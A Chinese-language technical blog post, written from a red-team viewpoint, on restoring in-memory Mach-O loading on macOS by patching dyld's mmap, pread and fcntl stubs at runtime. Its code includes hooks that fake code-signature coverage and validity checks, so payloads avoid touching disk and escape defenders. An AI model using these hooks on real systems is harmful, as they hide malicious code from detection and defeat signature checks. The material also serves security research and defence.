当前位置: 首页 > 技术干货 > IOS逆向--恢复Dyld的内存加载方式

IOS逆向--恢复Dyld的内存加载方式

发表于:2023-02-02 11:25 作者: 大鱼 阅读数(2789人)

之前我们一直在使用由dyld及其NS Create Object File Image From Memory / NS Link Module API方法所提供的Mach-O捆绑包的内存加载方式。虽然这些方法我们今天仍然还在使用,但是这个工具较以往有一个很大的区别......现在很多模块都被持久化到了硬盘上。

@roguesys 在 2022 年 2 月发布公告称,dyld 的代码已经被更新,传递给 NSLinkModule 的任何模块都将会被写入到一个临时的位置中。

作为一个红队队员,这对于我们的渗透工作并没有好处。毕竟,NSLinkModule一个非常有用的api函数,这个函数可以使得我们的有效载荷不被蓝队轻易的发现。

因此,在这篇文章中,我们来仔细看看dyld的变化,并看看我们能做些什么来恢复这一功能,让我们的工具在内存中多保存一段时间,防止被蓝队过早的发现。

NS Link Module有何与众不同

由于dyld是开源的,我们可以深入研究一下经常使用的NSLinkModule方法的工作原理。

该函数的签名为:

NSModule APIs::NSLinkModule(NSObjectFileImage ofi, const char* moduleName, uint32_t options) { ... }

该函数的第一个参数是ofi,它是用NS Create Object File Image From Memory创建的,它指向了存放Mach-O包的内存。然后我们还有moduleName参数和options参数,前者只是用于记录语句,后者一般是被忽略不用的。

通过查看代码发现,最新版本的NS Link Module,会将osi所指向的内存写入磁盘。

if ( ofi->memSource != nullptr ) {
...
char        tempFileName[PATH_MAX];
const char* tmpDir = this->libSystemHelpers->getenv("TMPDIR");
if ( (tmpDir != nullptr) && (strlen(tmpDir) > 2) ) {
strlcpy(tempFileName, tmpDir, PATH_MAX);
if ( tmpDir[strlen(tmpDir) - 1] != '/' )
strlcat(tempFileName, "/", PATH_MAX);
}
else
strlcpy(tempFileName, "/tmp/", PATH_MAX);
strlcat(tempFileName, "NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX);
int fd = this->libSystemHelpers->mkstemp(tempFileName);
if ( fd != -1 ) {
ssize_t writtenSize = ::pwrite(fd, ofi->memSource, ofi->memLength, 0);
}
...
}

通过分析可以发现,代码并不是真正的发生了 "新 "的变化。这段代码一直存在于dyld3中,只不过是现在macOS也决定使用这段代码路径。所以我们知道内存会被写入磁盘,并且路径会被传递给dlopen_from。

...
ofi->handle = dlopen_from(ofi->path, openMode, callerAddress);
...

因此,从本质上讲,这也就使得NS Link Module成为了dlopen的一个封装器。

那我们能否恢复dyld之前的内存加载特性呢?

我们知道磁盘 I/O 是被用来持久化和读取我们的代码的......那么,如果我们在调用之前拦截它们,会发生什么呢?

使用dyld进行hook

为了拦截 I/O 调用,我们首先需要了解如何对dyld进行hook。

我们研究看看dyld是如何处理mmap调用的。启动 Hopper 并加载 /usr/lib/dyld, 显示mmap 是由 dyld 使用 svc 调用的。

img

知道了这一点,如果我们找到内存中存放这段代码的位置,我们就应该能够覆盖服务调用并将其重定向到我们控制的地方。但我们该用什么来覆盖它呢?用下面的这段代码就可以。

ldr x8, _value
br x8
_value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48" ; Update to our br location

在我们进行操作之前,首先我们找到进程地址空间中dyld的基址。这是通过调用task_info完成的,我们可以传入TASK_DYLD_INFO来检索dyld的基址信息。

void *getDyldBase(void) {
   struct task_dyld_info dyld_info;
   mach_vm_address_t image_infos;
   struct dyld_all_image_infos *infos;
   
   mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
   kern_return_t ret;
   
   ret = task_info(mach_task_self_,
                   TASK_DYLD_INFO,
                  (task_info_t)&dyld_info,
                   &count);
   
   if (ret != KERN_SUCCESS) {
       return NULL;
  }
   
   image_infos = dyld_info.all_image_info_addr;
   
   infos = (struct dyld_all_image_infos *)image_infos;
   return infos->dyldImageLoadAddress;
}

只要我们有了dyld的基址,我们就可以为mmap服务的调用查找签名。

bool searchAndPatch(char *base, char *signature, int length, void *target) {
   
   char *patchAddr = NULL;
   kern_return_t kret;
   
   for(int i=0; i < 0x100000; i++) {
       if (base[i] == signature[0] && memcmp(base+i, signature, length) == 0) {
           patchAddr = base + i;
           break;
      }
  }
  ...

当我们找到一个匹配的签名时,我们可以在我们的ARM64的Stub中打补丁。由于我们要处理的是内存的 "Read-Exec"页,我们需要用以下方法来更新内存保护。

kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY);
if (kret != KERN_SUCCESS) {
   return FALSE;
}

注意这里的VM_PROT, 这个是必须要设定的,因为该内存页在其最大内存保护中没有设置写权限。

设置了写权限后,我们可以用我们的补丁覆盖内存,然后将保护重新设定为Read-Exec。

// Copy our path
memcpy(patchAddr, patch, sizeof(patch));

// Set the br address for our hook call
*(void **)((char*)patchAddr + 16) = target;

// Return exec permission
kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC);
if (kret != KERN_SUCCESS) {
return FALSE;
}

现在我们需要思考一下,当我们在试图修改可执行的内存页时,在M1 macs上会发生什么。

由于macOS要确保每一页可执行内存都有签名,这也就意味着我们需要一个com.apple.security.cs.allow-unsigned-executable-memory的权限(com.apple.security.cs.disable-executable-page-protection也适用)来运行我们的代码。

img

那么,既然如此,我们该如何处理我们的hook程序呢?

API模拟调用

有了所有组件的映射,我们现在就可以开始模拟API的调用。根据dyld的代码,我们需要对mmap、pread、fcntl的内容进行处理。

如果我们这样做是正确的,我们可以在内存指向空白Mach-O文件的情况下对NSLinkModule进行调用,而该文件又将会被写入磁盘。然后当dyld正在从磁盘上读入文件时,我们就可以用内存中的副本动态地交换内容。

首先研究mmap。我们首先检查fd是否指向一个包含NSCreateObjectFileImageFromMemory的文件名,这是dyld写入磁盘的临时文件。

如果是这样的话,我们就不需要从磁盘上映射内存了,只要简单地分配一个新的内存区域,然后复制到我们构造的Mach-O包上。

#define FILENAME_SEARCH "NSCreateObjectFileImageFromMemory-"

const void* hookedMmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) {
   char *alloc;
   char filePath[PATH_MAX];
   int newFlags;
   
   memset(filePath, 0, sizeof(filePath));
   
   // Check if the file is our "in-memory" file
   if (fcntl(fd, F_GETPATH, filePath) != -1) {
       if (strstr(filePath, FILENAME_SEARCH) > 0) {
           
           newFlags = MAP_PRIVATE | MAP_ANONYMOUS;
           if (addr != 0) {
               newFlags |= MAP_FIXED;
          }
           
           alloc = mmap(addr, len, PROT_READ | PROT_WRITE, newFlags, 0, 0);
           memcpy(alloc, memoryLoadedFile+offset, len);
           vm_protect(mach_task_self(), (vm_address_t)alloc, len, false, prot);
           return alloc;
      }
  }
   
   // If for another file, we pass through
   return mmap(addr, len, prot, flags, fd, offset);
}

接下来是pread参数,它会被dyld在加载时用来多次验证Mach-O的UUID。

ssize_t hookedPread(int fd, void *buf, size_t nbyte, int offset) {
char filePath[PATH_MAX];

memset(filePath, 0, sizeof(filePath));

// Check if the file is our "in-memory" file
if (fcntl(fd, F_GETPATH, filePath) != -1) {
if (strstr(filePath, FILENAME_SEARCH) > 0) {
memcpy(buf, memoryLoadedFile+offset, nbyte);
return nbyte;
}
}

// If for another file, we pass through
return pread(fd, buf, nbyte, offset);
}

最后我们处理fcntl。它会在很多地方被调用,可以在任何可能会失败的mmap调用之前验证编码的要求。

img

由于我们已经完成了hook,我们可以使dyld正常运行来绕过这些检查。

int hookedFcntl(int fildes, int cmd, void* param) {

char filePath[PATH_MAX];

memset(filePath, 0, sizeof(filePath));

// Check if the file is our "in-memory" file
if (fcntl(fildes, F_GETPATH, filePath) != -1) {
if (strstr(filePath, FILENAME_SEARCH) > 0) {
if (cmd == F_ADDFILESIGS_RETURN) {
fsignatures_t *fsig = (fsignatures_t*)param;

// called to check that cert covers file.. so we'll make it cover everything ;)
fsig->fs_file_start = 0xFFFFFFFF;
return 0;
}

// Signature sanity check by dyld
if (cmd == F_CHECK_LV) {
// Just say everything is fine
return 0;
}
}
}

return fcntl(fildes, cmd, param);
}

有了以上这些,然后我们可以把这一切组合起来。

int main(int argc, const char * argv[], const char * argv2[], const char * argv3[]) {
   @autoreleasepool {
       char *dyldBase;
       int fd;
       int size;
       void (*function)(void);
       NSObjectFileImage fileImage;
       
       // Read in our dyld we want to memory load... obviously swap this in prod with memory, otherwise we've just recreated dlopen :/
       size = readFile("/tmp/loadme", &memoryLoadedFile);

       dyldBase = getDyldBase();
       searchAndPatch(dyldBase, mmapSig, sizeof(mmapSig), hookedMmap);
       searchAndPatch(dyldBase, preadSig, sizeof(preadSig), hookedPread);
       searchAndPatch(dyldBase, fcntlSig, sizeof(fcntlSig), hookedFcntl);
       
       // Set up blank content, same size as our Mach-O
       char *fakeImage = (char *)malloc(size);
       memset(fakeImage, 0x41, size);
       
       // Small hack to get around NSCreateObjectFileImageFromMemory validating our fake image
       fileImage = (NSObjectFileImage)malloc(1024);
       *(void **)(((char*)fileImage+0x8)) = fakeImage;
       *(void **)(((char*)fileImage+0x10)) = size;
       
       void *module = NSLinkModule(fileImage, "test", NSLINKMODULE_OPTION_PRIVATE);
       void *symbol = NSLookupSymbolInModule(module, "runme");
       function = NSAddressOfSymbol(symbol);
       function();
  }
}

当我们执行时,可以看到在硬盘上就会创建我们的虚假文件。

img

但通过在运行时的交换内容来看,我们发现我们的内存模块加载完全正常。

img

其他

所以,最后一个阶段让我感到很困惑......我们使用了NSLinkModule,它生成了一个临时文件,并且用垃圾字符对它进行了填充。如果我们忽略这一点,而只是使用操作系统中的任意一个库来调用dlopen呢?这样应该就可以避免我们向磁盘中写入任何文件。

事实证明,这个想法是正确的。比如:

void *a = dlopen("/usr/lib/libffi-trampolines.dylib", RTLD_NOW);
function = dlsym(a, "runme");
function();

而不是只是搜索NSCreateObjectFileImageFromMemory,我们只是在搜索任何加载libffi-trampolines.dylib的引用,并通过我们的代码进行了替换,我们得到了同样的结果。

img

这里有一些注意事项。首先,我们需要确保库比我们自己要加载的模块大,否则当涉及到pread和mmap时,系统最终会截断我们的Mach-O。